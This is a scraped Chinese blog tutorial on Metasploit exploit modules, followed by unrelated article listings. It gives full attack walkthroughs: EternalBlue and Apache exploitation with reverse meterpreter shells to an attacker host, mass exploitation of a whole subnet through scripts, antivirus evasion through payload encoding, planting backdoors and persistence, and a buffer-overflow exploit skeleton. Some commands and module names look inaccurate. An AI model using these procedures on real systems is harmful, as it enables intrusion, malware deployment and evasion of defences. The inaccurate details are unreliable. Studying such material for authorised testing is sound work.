news 2026/4/16 18:17:12

msfconsole工具exploit模块详细用法

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
msfconsole工具exploit模块详细用法

msfconsole工具exploit模块详细用法

一、exploit模块核心概述

exploit(漏洞利用)模块是Metasploit Framework(MSF)的核心模块之一,其核心作用是利用目标系统的已知漏洞(如缓冲区溢出、SQL注入、服务漏洞等),突破系统防护并交付攻击载荷(Payload),最终实现对目标系统的初步控制。

在MSF架构中,exploit模块与其他模块的协同关系如下:

  • 依赖辅助模块(Auxiliary):通常需先通过辅助模块完成目标信息收集、漏洞探测(如端口扫描、服务指纹识别),为exploit模块选择提供依据;

  • 搭配Payload模块:exploit模块仅负责“突破漏洞”,攻击成功后执行的实际功能(如反弹Shell、创建账号)由Payload模块实现;

  • 辅助Nops模块:用于填充数据以保证Payload在内存中对齐,提升攻击稳定性。

exploit模块的存储路径(Kali系统默认):/usr/share/metasploit-framework/modules/exploits,按目标平台(windows、linux、macos等)和服务类型(smb、http、ftp等)分类存储,便于定位使用。

二、exploit模块使用前置准备

2.1 启动msfconsole

msfconsole是MSF的核心交互控制台,支持命令自动补全、历史记录等功能,是使用exploit模块的主要入口。

启动命令:

msfconsole# 正常启动(显示欢迎信息)msfconsole -q# 静默启动(不显示欢迎信息,快速进入)

启动成功后将显示版本提示符(如msf6 >,表示MSF v6.x版本)。

2.2 前置信息收集要求

使用exploit模块前需明确目标关键信息,否则无法精准选择模块和配置参数:

  • 目标基础信息:IP地址、操作系统版本(如Windows 7 SP1、Linux Ubuntu 20.04)、系统架构(x86/x64);

  • 开放服务信息:端口号、服务类型(如SMB、HTTP、MySQL)、服务版本;

  • 漏洞相关信息:目标是否存在已知漏洞(如MS17-010、CVE-2021-41773)、漏洞是否已修复。

可通过MSF辅助模块(如auxiliary/scanner/portscan/tcp端口扫描、auxiliary/scanner/smb/smb_version服务版本探测)或外部工具(nmap、nessus)完成信息收集。

三、exploit模块核心使用流程

完整使用流程:模块搜索 → 模块加载 → 模块信息查看 → 参数配置 → 漏洞验证 → 攻击执行 → 会话管理,以下按步骤详细说明。

3.1 步骤1:搜索exploit模块

MSF内置数千个exploit模块,需通过search命令根据目标信息筛选匹配模块。

3.1.1 基础搜索语法

search<搜索关键词/条件># 支持按模块类型、平台、漏洞编号、服务名等精准搜索(使用搜索运算符)search type:exploit<其他条件>

3.1.2 常用搜索场景示例

  • 按漏洞名称搜索(如MS17-010):
    `msf6 > search ms17-010

搜索结果将包含exploit模块(如exploit/windows/smb/ms17_010_eternalblue)和辅助探测模块`

  • 按目标平台搜索(如Windows系统):
    msf6 > search type:exploit platform:windows

  • 按服务类型搜索(如SMB服务):
    msf6 > search type:exploit app:smb

  • 按漏洞编号搜索(如CVE-2021-41773):
    msf6 > search cve:2021-41773

搜索结果说明:返回结果包含模块索引、名称、路径、平台、漏洞编号等信息,可通过索引快速加载模块。

3.2 步骤2:加载exploit模块

使用use命令加载指定模块,加载后控制台提示符将切换为模块名称,标识当前处于该模块的操作上下文。

3.2.1 加载语法

use<模块路径># 完整路径加载(推荐,精准无歧义)use<模块索引># 搜索结果索引加载(快速便捷)

3.2.2 加载示例

  • 通过完整路径加载MS17-010漏洞利用模块:
    `msf6 > use exploit/windows/smb/ms17_010_eternalblue

加载成功后提示符变为:msf6 exploit(windows/smb/ms17_010_eternalblue) >`

  • 通过索引加载(假设搜索后MS17-010模块索引为0):
    msf6 > search ms17-010 # 先搜索获取索引 msf6 > use 0 # 加载索引为0的模块

退出当前模块:若需切换模块,使用back命令返回msf6主提示符。

3.3 步骤3:查看模块详细信息

加载模块后,建议先通过info命令查看模块详情,明确模块功能、支持的目标、所需参数等,避免配置错误。

3.3.1 查看命令与结果说明
msf6 exploit(windows/smb/ms17_010_eternalblue)>info

返回信息包含以下核心部分:

  • Description:模块功能描述(如“利用MS17-010漏洞实现Windows SMB服务远程代码执行”);

  • Platform:支持的目标平台(如Windows);

  • Targets:支持的具体目标系统版本(如Windows 7 SP1 x64、Windows Server 2008 R2);

  • Basic Options:基础配置参数(如RHOST、LHOST等,带Required: yes的为必填参数);

  • References:漏洞相关参考链接(如CVE、MSKB编号)。

3.3.2 补充查看命令
  • 查看模块支持的目标类型:show targets(可通过set target <目标索引>指定特定目标);

  • 查看模块可用的Payload:show payloads(不同exploit模块支持的Payload不同,需按需选择);

  • 查看必填参数:show missing(快速定位未配置的必填参数)。

3.4 步骤4:配置模块参数

exploit模块需配置核心参数后才能正常执行,核心参数分为“目标相关”和“本地相关”两类,部分参数有默认值,必填参数需手动配置。

3.4.1 核心参数说明

  • RHOST/RHOSTS:目标IP地址/IP范围(必填)。RHOST用于单个目标,RHOSTS用于多个目标(如192.168.1.10-20、192.168.1.0/24);

  • RPORT:目标服务端口(默认值通常为对应服务默认端口,如SMB默认445,HTTP默认80,可按需修改);

  • LHOST:本地攻击机IP地址(必填,用于接收反弹Shell等Payload交互);

  • LPORT:本地攻击机监听端口(默认值如4444,可自定义,需确保端口未被占用);

  • Payload:攻击载荷(需选择当前exploit模块支持的类型,如meterpreter反弹Shell)。

3.4.2 参数配置命令

set<参数名><参数值># 配置单个参数(仅当前模块生效)setg<参数名><参数值># 全局配置参数(所有模块生效,适合通用参数如LHOST)unset<参数名># 取消已配置的参数show options# 查看当前所有参数的配置状态

3.4.3 配置示例(以MS17-010模块为例)

msf6 exploit(windows/smb/ms17_010_eternalblue)>setRHOST192.168.1.10# 配置目标IPmsf6 exploit(windows/smb/ms17_010_eternalblue)>setLHOST192.168.1.100# 配置本地攻击机IPmsf6 exploit(windows/smb/ms17_010_eternalblue)>setLPORT4444# 配置本地监听端口msf6 exploit(windows/smb/ms17_010_eternalblue)>setpayload windows/x64/meterpreter/reverse_tcp# 配置64位meterpreter反弹Shellmsf6 exploit(windows/smb/ms17_010_eternalblue)>show options# 验证参数配置是否正确

3.5 步骤5:漏洞验证(可选但推荐)

部分exploit模块支持check命令,可在执行攻击前验证目标是否存在对应漏洞,避免盲目攻击导致目标告警或攻击失败。

msf6 exploit(windows/smb/ms17_010_eternalblue)>check

常见返回结果:

  • Target is vulnerable:目标存在漏洞,可执行攻击;

  • Not vulnerable:目标不存在漏洞或已修复;

  • The target is not exploitable:目标存在漏洞但无法利用(如系统架构不匹配);

  • Check failed:验证失败(如目标端口未开放、网络不通)。

注意:并非所有exploit模块都支持check命令,若执行后提示“Check method not implemented”,则直接跳过该步骤。

3.6 步骤6:执行攻击

参数配置完成后,使用exploitrun命令(两者功能完全一致)执行攻击,同时可通过附加参数控制攻击模式。

3.6.1 基础攻击命令

exploit# 正常执行攻击(前台运行,攻击过程中无法执行其他命令)run# 与exploit功能一致,可互换使用

3.6.2 常用附加参数(进阶用法)

  • 后台执行攻击:exploit -j(将攻击任务放入后台,可同时执行多个攻击任务);
    msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j [*] Exploit running as background job 0. # 攻击任务编号为0

  • 攻击成功后不进入交互模式:exploit -z(适合自动化攻击脚本,避免阻塞任务);

  • 指定编码器绕过防护:exploit -e <编码器名称>(如exploit -e shikata_ga_nai,用于绕过简单杀软);

  • 重新执行攻击:exploit -r(无需重新配置参数,快速重试)。

3.6.3 攻击结果判断

攻击成功:若配置的是反弹Shell类Payload(如meterpreter),将显示“Meterpreter session 1 opened”等信息,同时进入meterpreter交互模式(提示符变为meterpreter >);

攻击失败:常见原因包括“目标漏洞不存在”“参数配置错误(如LHOST/LPORT错误)”“网络不通(如防火墙拦截)”“Payload与目标架构不匹配”,需根据错误提示排查问题。

3.7 步骤7:会话管理(攻击成功后)

攻击成功后将获得目标系统的会话(Session),通过会话可执行后续后渗透操作,核心会话管理命令如下:

3.7.1 核心会话命令

  • 查看所有会话:sessions -l(列出所有活跃会话,包含会话ID、类型、目标IP等信息);`msf6 > sessions -l
    Active sessions
    ===============
    Id Name Type Information Connection


    1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7-PC 192.168.1.100:4444 -> 192.168.1.10:49152 (192.168.1.10)`

  • 进入指定会话:sessions -i <会话ID>(如sessions -i 1,进入ID为1的meterpreter会话);

  • 后台挂起当前会话:在meterpreter模式下输入background(返回msf6主提示符,会话仍保持活跃);

  • 终止会话:sessions -k <会话ID>(如sessions -k 1,终止ID为1的会话);

  • 迁移会话进程:在meterpreter模式下输入migrate <进程PID>(如迁移到explorer.exe,避免会话因原进程退出而断开)。

3.7.2 基础后渗透操作(meterpreter会话)

进入meterpreter会话后,可执行以下常用操作:

  • 查看目标系统信息:sysinfo(返回操作系统版本、架构、主机名等);

  • 获取目标shell:shell(进入目标系统cmd/shell交互模式);

  • 查看目标进程:ps(列出所有进程及PID);

  • 上传/下载文件:upload <本地文件路径>(上传文件到目标)、download <目标文件路径>(下载目标文件到本地);

  • 获取系统权限:getsystem(尝试提升为SYSTEM最高权限)。

四、实战案例:利用MS17-010漏洞攻击Windows 7

以下通过完整实战案例,串联exploit模块的核心使用流程,目标为存在MS17-010漏洞的Windows 7 SP1 x64系统。

4.1 前置信息

  • 目标IP:192.168.1.10(Windows 7 SP1 x64,开放445端口,未修复MS17-010漏洞);

  • 攻击机IP:192.168.1.100(Kali Linux,MSF v6.x);

  • 漏洞:MS17-010(永恒之蓝),对应exploit模块:exploit/windows/smb/ms17_010_eternalblue

  • Payload:windows/x64/meterpreter/reverse_tcp(64位反弹Shell)。

4.2 操作步骤

# 1. 启动msfconsolekali@kali:~$ msfconsole -q# 2. 搜索MS17-010相关模块msf6>search ms17-010# 3. 加载exploit模块msf6>use exploit/windows/smb/ms17_010_eternalblue# 4. 查看模块信息(确认支持目标系统)msf6 exploit(windows/smb/ms17_010_eternalblue)>info# 5. 配置参数msf6 exploit(windows/smb/ms17_010_eternalblue)>setRHOST192.168.1.10 msf6 exploit(windows/smb/ms17_010_eternalblue)>setLHOST192.168.1.100 msf6 exploit(windows/smb/ms17_010_eternalblue)>setLPORT4444msf6 exploit(windows/smb/ms17_010_eternalblue)>setpayload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue)>show options# 验证参数# 6. 漏洞验证msf6 exploit(windows/smb/ms17_010_eternalblue)>check[+]192.168.1.10:445 - The target is vulnerable.# 目标存在漏洞# 7. 执行攻击msf6 exploit(windows/smb/ms17_010_eternalblue)>exploit[*]Sending Stage(201283bytes)to192.168.1.10[*]Meterpreter session1opened(192.168.1.100:4444 ->192.168.1.10:49152)at2025-12-1416:30:00# 8. 会话管理与后渗透meterpreter>sysinfo# 查看目标系统信息meterpreter>getsystem# 提升为SYSTEM权限meterpreter>shell# 进入目标cmd模式

五、关键注意事项

  • 合法性前提:所有渗透测试操作必须获得目标系统所有者的书面授权,严禁用于未授权的非法攻击,否则将承担法律责任;

  • 模块与目标匹配:确保exploit模块支持目标系统版本和架构(如x86模块不能用于x64系统),否则攻击必败;

  • 网络连通性:攻击机与目标机需保证网络通畅,目标端口未被防火墙拦截(如SMB 445端口、反弹Shell的LPORT端口);

  • Payload选择:优先选择稳定的Payload(如meterpreter),避免使用易被杀软拦截的原始Payload;必要时使用编码器(encoders)进行编码;

  • 会话稳定性:攻击成功后及时迁移会话进程,避免因原进程退出导致会话断开;可通过persistence命令创建持久化后门(如添加启动项、创建服务),实现目标重启后重新获取会话;

  • 模块更新:MSF模块会持续更新以支持新漏洞,建议定期通过apt update && apt upgrade metasploit-framework更新MSF;若手动添加自定义exploit模块,需放入对应模块目录后执行reload_all重新加载模块。

六、常见问题排查

6.1 搜索不到目标模块

排查方向:① 关键词错误(如“ms17010”漏写横杠,应为“ms17-010”);② MSF版本过旧,未包含该模块(更新MSF);③ 模块路径错误(确认模块是否在exploits目录下)。

6.2 参数配置正确但攻击失败

排查方向:① 目标漏洞已修复(重新使用辅助模块探测);② 目标系统版本/架构与模块不匹配(查看show targets确认支持类型);③ 防火墙拦截(目标防火墙拦截RPORT或LPORT,或攻击机防火墙拦截入站连接);④ Payload错误(选择模块支持的Payload,通过show payloads查看)。

6.3 会话连接成功后立即断开

排查方向:① 原进程退出(迁移会话到稳定进程如explorer.exe);② 网络不稳定(检查攻击机与目标机网络连接);③ 目标系统防护软件查杀(使用编码器编码Payload,或更换免杀Payload)。

七、exploit模块进阶用法

7.1 批量攻击与自动化操作

当需要对多个目标(如网段内主机)进行漏洞利用时,可通过MSF的批量配置和任务管理功能提升效率,避免重复操作。

7.1.1 批量目标配置

利用RHOSTS参数指定IP范围或CIDR网段,配合setg全局参数统一配置通用项(如LHOST、LPORT):

# 全局配置通用参数 msf6 > setg LHOST 192.168.1.100 msf6 > setg LPORT 4444 # 加载模块并配置批量目标(192.168.1.0/24网段) msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.0/24 msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

7.1.2 批量攻击执行与任务管理

使用exploit -j将批量攻击任务放入后台,通过jobs命令管理任务,攻击成功的会话会自动保存:

# 后台执行批量攻击 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j -z [*] Exploit running as background job 0. # 查看后台任务状态 msf6 > jobs Jobs ==== Id Name Payload LPORT RHOST -- ---- ------- ----- ----- 0 Exploit: windows/smb/ms17_010_eternalblue windows/x64/meterpreter/reverse_tcp 4444 192.168.1.0/24 # 停止后台任务 msf6 > jobs -k 0

7.1.3 自动化脚本(resource脚本)

将攻击流程(加载模块、配置参数、执行攻击)写入.rc脚本文件,通过resource命令一键执行,实现全自动化攻击:

  1. 创建脚本文件(如ms17-010_batch.rc):# 脚本内容 setg LHOST 192.168.1.100 setg LPORT 4444 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.0/24 set payload windows/x64/meterpreter/reverse_tcpexploit -j -z

  2. 执行脚本:msf6 > resource /root/ms17-010_batch.rc

7.2 自定义exploit模块开发

当MSF内置模块无法满足需求(如利用最新未收录漏洞)时,可基于MSF框架开发自定义exploit模块,核心语言为Ruby。

7.2.1 模块开发基础结构

自定义exploit模块需遵循MSF的模块规范,核心结构包括:模块信息声明、目标配置、参数定义、漏洞利用逻辑(exploit方法):

# 自定义模块示例(保存路径:/usr/share/metasploit-framework/modules/exploits/custom/my_exploit.rb)require'msf/core'classMetasploitModule<Msf::Exploit::RemoteRank=NormalRanking# 模块优先级(NormalRanking/GoodRanking/GreatRanking/ExcellentRanking)definitialize(info={})super(update_info(info,'Name'=>'Custom Test Exploit',# 模块名称'Description'=>%q{ 自定义漏洞利用模块测试 },'Author'=>'Your Name',# 作者'License'=>MSF_LICENSE,'References'=>[['CVE','202XXXX']],# 漏洞参考(CVE编号)'Platform'=>'windows',# 目标平台'Targets'=>[['Windows 7 SP1 x64',{'Ret'=>0x41414141}]# 目标系统与关键偏移],'DefaultTarget'=>0,# 默认目标索引'Payload'=>{'Space'=>1024,# Payload空间大小'BadChars'=>"\x00\x0a\x0d"# 坏字符(需避开的字节)}))register_options([Opt::RHOST(),# 目标IP参数Opt::RPORT(8080)# 目标端口参数(默认8080)])enddefexploit# 漏洞利用核心逻辑(如发送恶意数据包、触发漏洞)rhost=datastore['RHOST']rport=datastore['RPORT']sock=connect_create(proto:'tcp',rhost:rhost,rport:rport)# 构造恶意 payload(缓冲区溢出示例)buf=rand_text_alpha(1000)# 填充数据buf<<[target['Ret']].pack('V')# 返回地址buf<<payload.encoded# 编码后的Payload# 发送数据包sock.put(buf)sock.closeendend

7.2.2 自定义模块加载与测试

# 1. 重新加载所有模块(使自定义模块生效) msf6 > reload_all # 2. 搜索自定义模块(按名称搜索) msf6 > search name:"Custom Test Exploit" # 3. 加载并测试模块 msf6 > use exploit/custom/my_exploit msf6 exploit(custom/my_exploit) > set RHOST 192.168.1.11 msf6 exploit(custom/my_exploit) > set payload windows/meterpreter/reverse_tcp msf6 exploit(custom/my_exploit) > exploit

7.3 免杀优化(对抗杀毒软件)

默认Payload易被杀毒软件(AV)查杀,需通过编码、混淆、自定义Payload等方式提升免杀能力,核心思路是破坏AV的特征码识别。

7.3.1 编码器组合使用

MSF内置多种编码器(如shikata_ga_nai、x86/shikata_ga_nai),通过多次编码或组合编码规避特征码:

# 1. 查看可用编码器 msf6 > show encoders # 2. 组合编码执行攻击(使用shikata_ga_nai编码2次) msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -e x64/shikata_ga_nai -i 2 # -i 指定编码次数 # 注意:编码次数过多可能导致Payload失效,建议1-3次为宜

7.3.2 自定义免杀Payload

利用MSF的msfvenom工具生成自定义免杀Payload(结合混淆、加密),再导入exploit模块使用:

# 1. 生成加密免杀Payload(保存为payload.bin) kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/shikata_ga_nai -i 3 -f raw -o payload.bin -k # -k 保留原有进程 # 2. 导入Payload到exploit模块 msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD_FILE /root/payload.bin msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

八、典型场景拓展案例

8.1 场景1:利用HTTP漏洞攻击Web服务器(CVE-2021-41773)

目标:Apache HTTP Server 2.4.49/2.4.50(存在路径穿越+远程代码执行漏洞),Linux系统。

# 1. 搜索模块 msf6 > search cve:2021-41773 type:exploit # 2. 加载模块 msf6 > use exploit/linux/http/apache_2449_dir_traversal_exec # 3. 配置参数 msf6 exploit(linux/http/apache_2449_dir_traversal_exec) > set RHOST 192.168.1.12 msf6 exploit(linux/http/apache_2449_dir_traversal_exec) > set RPORT 80 msf6 exploit(linux/http/apache_2449_dir_traversal_exec) > set LHOST 192.168.1.100 msf6 exploit(linux/http/apache_2449_dir_traversal_exec) > set payload linux/x64/meterpreter/reverse_tcp # 4. 执行攻击 msf6 exploit(linux/http/apache_2449_dir_traversal_exec) > exploit # 5. 后渗透操作 meterpreter > sysinfo # 查看Linux系统信息 meterpreter > getuid # 查看当前权限 meterpreter > upload /root/backdoor.sh /tmp/ # 上传后门脚本

8.2 场景2:利用MySQL漏洞获取数据库权限(CVE-2012-2122)

目标:MySQL 5.5.23及以下版本(存在身份认证绕过漏洞)。

# 1. 搜索模块 msf6 > search cve:2012-2122 type:exploit # 2. 加载模块 msf6 > use exploit/multi/mysql/mysql_authbypass_41120 # 3. 配置参数 msf6 exploit(multi/mysql/mysql_authbypass_41120) > set RHOST 192.168.1.13 msf6 exploit(multi/mysql/mysql_authbypass_41120) > set RPORT 3306 msf6 exploit(multi/mysql/mysql_authbypass_41120) > set USERNAME root # MySQL用户名 # 4. 执行攻击(获取MySQL命令行会话) msf6 exploit(multi/mysql/mysql_authbypass_41120) > exploit # 5. 数据库操作 mysql > show databases; # 查看数据库 mysql > use mysql; # 切换到mysql库 mysql > select user,host from user; # 查看数据库用户

九、总结

msfconsole的exploit模块使用核心在于“精准匹配目标-正确配置参数-灵活结合Payload”,基础流程适用于大多数漏洞利用场景,而批量攻击、自定义模块、免杀优化等进阶用法则能提升效率和实战成功率。在实际使用中,需始终遵循合法性原则,结合信息收集结果选择合适模块,并根据目标防护情况调整策略。建议通过多场景实战练习(如Windows、Linux、Web服务等)加深对模块的理解,同时关注MSF官方更新,及时获取新增漏洞的利用模块。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 14:12:39

vue基于Spring Boot的乡镇劳动力就业推荐系统的应用和研究_9oe33hve

目录具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作具体实现截图 本系统&#xff08;程序源码数据库调试部署讲解&#xff09;同时还支持java、ThinkPHP、Node.js、Spring B…

作者头像 李华
网站建设 2026/4/16 10:56:06

Lovász-Softmax终极指南:快速提升图像分割精度的完整方案

Lovsz-Softmax终极指南&#xff1a;快速提升图像分割精度的完整方案 【免费下载链接】LovaszSoftmax 项目地址: https://gitcode.com/gh_mirrors/lo/LovaszSoftmax 还在为图像分割的边缘模糊问题而烦恼吗&#xff1f;&#x1f914; 你的分割模型明明损失值在下降&#…

作者头像 李华
网站建设 2026/4/16 10:54:02

浅谈:算法中的斐波那契数(二)

解决方案方法一&#xff1a;递归使用递归计算给定整数的斐波那契数。上图表示了 fib(5) 计算过程的递归树。Java 实现public class Solution {public int fib(int N) {if (N < 1) {return N;}return fib(N-1) fib(N-2);} }Python 实现class Solution:def fib(self, N: int)…

作者头像 李华
网站建设 2026/4/16 11:05:52

CVAT数据标注工具:新手快速上手指南与核心功能详解

CVAT数据标注工具&#xff1a;新手快速上手指南与核心功能详解 【免费下载链接】cvat Annotate better with CVAT, the industry-leading data engine for machine learning. Used and trusted by teams at any scale, for data of any scale. 项目地址: https://gitcode.com…

作者头像 李华
网站建设 2026/4/16 2:17:27

TinyWebServer服务器推送深度解析:HTTP/2协议栈重构与性能优化实战

TinyWebServer服务器推送深度解析&#xff1a;HTTP/2协议栈重构与性能优化实战 【免费下载链接】TinyWebServer :fire: Linux下C轻量级WebServer服务器 项目地址: https://gitcode.com/gh_mirrors/ti/TinyWebServer 当传统HTTP/1.1协议在多资源页面加载中暴露出的队头阻…

作者头像 李华
网站建设 2026/4/16 9:51:29

Qt 5.14.2 Linux x64 开源版安装终极指南:从下载到配置完整教程

Qt 5.14.2 Linux x64 开源版安装终极指南&#xff1a;从下载到配置完整教程 【免费下载链接】Qt5.14.2开源版Linuxx64安装文件下载 Qt 5.14.2 开源版 Linux x64 安装文件下载 项目地址: https://gitcode.com/Open-source-documentation-tutorial/3ce16 还在为Qt在Linux环…

作者头像 李华